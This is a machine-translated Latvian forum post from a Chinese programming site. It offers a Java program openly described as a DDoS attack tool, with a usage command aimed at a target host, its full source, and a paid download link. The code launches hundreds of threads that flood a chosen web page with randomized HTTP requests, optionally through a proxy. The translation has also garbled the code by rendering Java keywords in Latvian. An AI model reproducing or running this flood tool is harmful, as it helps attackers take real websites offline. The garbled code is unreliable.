Šis raksts ir mašīntulkošanas spoguļraksts, lūdzu, noklikšķiniet šeit, lai pārietu uz oriģinālo rakstu.

Skats: 15524|Atbildi: 0

[Padomi] D-DOS uzbrucēja programmas Java versija

[Kopēt saiti]
Publicēts 01.12.2014 15:21:57 | | |
Jar kods
dDOS uzbrukums, ko īstenoja java.
Tomēr tas neatšķiras no tradicionālajiem dDo.
Šī programmatūra ir DDOS uzbrukums lapai.
Kā lietot:
java -jar ccddos.jar www.xxx.com 80 10 /index.do lietotājvārds=xxx 80

[mw_shl_code=java,true]importēt java.io.IOException;
importēt java.net.ConnectException;
importēt java.net.InetSocketAddress;
importēt java.nio.ByteBuffer;
importēt java.nio.channels.SelectionKey;
importēt java.nio.channels.Selector;
importēt java.nio.channels.SocketChannel;
importēt java.util.Iterator;
importēt java.util.Random;
importēt java.util.Set;
importēt java.util.Timer;
importēt java.util.TimerTask;
importēt java.util.Vector;

/**
* Dēmonu pavedieni
*
* @author administrēšana
*
*/
publiskās klases tests {
    privāts stīgu saimnieks, uri, param;
    privāta int osta;
    privātais galīgais vektors<CCDDOSThread> v = jauns vektors <CCDDOSThread>();
    privāts InetSocketAddress isa;
    privātie int pavedieniSkaits = 500; Vītņu skaits
    privāts Random r = jauns Random();
    privāts ilgs taimauts = 5000l;

    /**
     * Atveriet uzbrukumu
     */
    publisks anulēts sākums() {
        for (int i = 0; i < pavedieniCount; i++) {
            CCDDOSThread t = jauns CCDDOSThread();
            v.add(t);
            t.starts();
            
            
            
        }
        Taimeris t = jauns taimeris();
        t.schedule(jauns TimerTask() {
            publiskais anulēšanas skrējiens() {
                int skaits = 0, taimauta pavedieni = 0;
                garš ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = nulle;
                        skaits++;
                    } else if (ct - th.start > taimauts) {
                        Taimauts, ārējais beigas
                        taimauta pavedieni++;
                        th.setCancle (taisnība);
                        th.pārtraukt ();
                        it.remove();
                        th = nulle;
                        skaits++;
                    }
                }
                if (skaits == 0) {
                    atgriezt;
                }
                System.out.println("Pavediens ir aizvērts:"+count+", kur ir pievienots taimauta pavediens:"
                        + taimauta pavedieni);
                for (int i = 0; Es < skaitu; i++) {
                    CCDDOSThread th = jauns CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("Dēmona pavediens sākts:");
    }

    /**
     * @param argumenti
     */
    public static void main(String[] args) {
        if (args.length < 6) {
            System.out.println("Instrukcijas:");
            Sistēma.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } else if (args.length >= 8) {
            Iestatīšana ar aģentu
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", argumenti[6]);
            System.getProperties().setProperty("http.proxyPort", argumenti[7]);
        }

        tests m = jauns tests();
        m.host = argumenti[0];
        m.port = Integer.valueOf(argumenti[1]);
        m.uri = argumenti[3];
        m.param = argumenti[4];
        m.threadsCount = Integer.valueOf(argumenti[2]);
        m.taimauts = Long.valueOf(argumenti[5]);
        m.isa = jauns InetSocketAddress(m.host, m.port);
        m.sākums();
    }

    /**
     * Uzbrukuma pavedieni
     *
     * @author Zhanghongbo
     *
     */
    klase CCDDOSThread paplašina Thread {
        privāts Būla kanklis = nepatiess;
        publiskais ilgais sākums = System.currentTimeMillis();

        publiskā tukšuma kopaCancle(Būla kancle) {
            this.cancle = kancle;
        }

        publiskais Būla isCancle() {
            atgriešanās kancle;
        }

        publiskais anulēšanas skrējiens() {
            ilgs sākums = System.currentTimeMillis();
            Selektora selektors;
            izmēģināt {
                selektors = Selector.open();
                SocketChannel sc;
                izmēģināt {
                    sc = SocketChannel.open(isa);
                } nozveja (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = patiess;
                    selector.close();
                    atgriezt;
                }

                sc.configureBlocking(false);
                sc.register(selektors, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                pagaidiet: kamēr (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - sākums > taimauts) {
                        cancle = patiess;
                        pārtraukuma gaidīšana;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterators<?> it = readykey.iterator();
                    kamēr (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - sākums > taimauts) {
                            cancle = patiess;
                            pārtraukuma gaidīšana;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Virknes galva = "GET " + uri + "?" + parametrs
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Resursdators: " + resursdators
                                    + "\r\n" + "Savienojums:tuvu\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = patiess;
            }
        }
    }
}
[/mw_shl_code]

Gatavā produkta un avota koda lejupielāde: java ddos.zip (8.42 KB, Lejupielādes skaits: 0, Pārdošanas cena: 2 Graudi MB)





Iepriekšējo:Parunāsim par lielāko 400G noslēpumaino DDoS uzbrukumu vēsturē
Nākamo:Nosūtiet iPhone 6, lai runātu par artefaktu plaisas punktu bezmaksas versiju
Atruna:
Visa programmatūra, programmēšanas materiāli vai raksti, ko publicē Code Farmer Network, ir paredzēti tikai mācību un pētniecības mērķiem; Iepriekš minēto saturu nedrīkst izmantot komerciāliem vai nelikumīgiem mērķiem, pretējā gadījumā lietotājiem ir jāuzņemas visas sekas. Informācija šajā vietnē nāk no interneta, un autortiesību strīdiem nav nekāda sakara ar šo vietni. Iepriekš minētais saturs ir pilnībā jāizdzēš no datora 24 stundu laikā pēc lejupielādes. Ja jums patīk programma, lūdzu, atbalstiet oriģinālu programmatūru, iegādājieties reģistrāciju un iegūstiet labākus oriģinālus pakalpojumus. Ja ir kādi pārkāpumi, lūdzu, sazinieties ar mums pa e-pastu.

Mail To:help@itsvse.com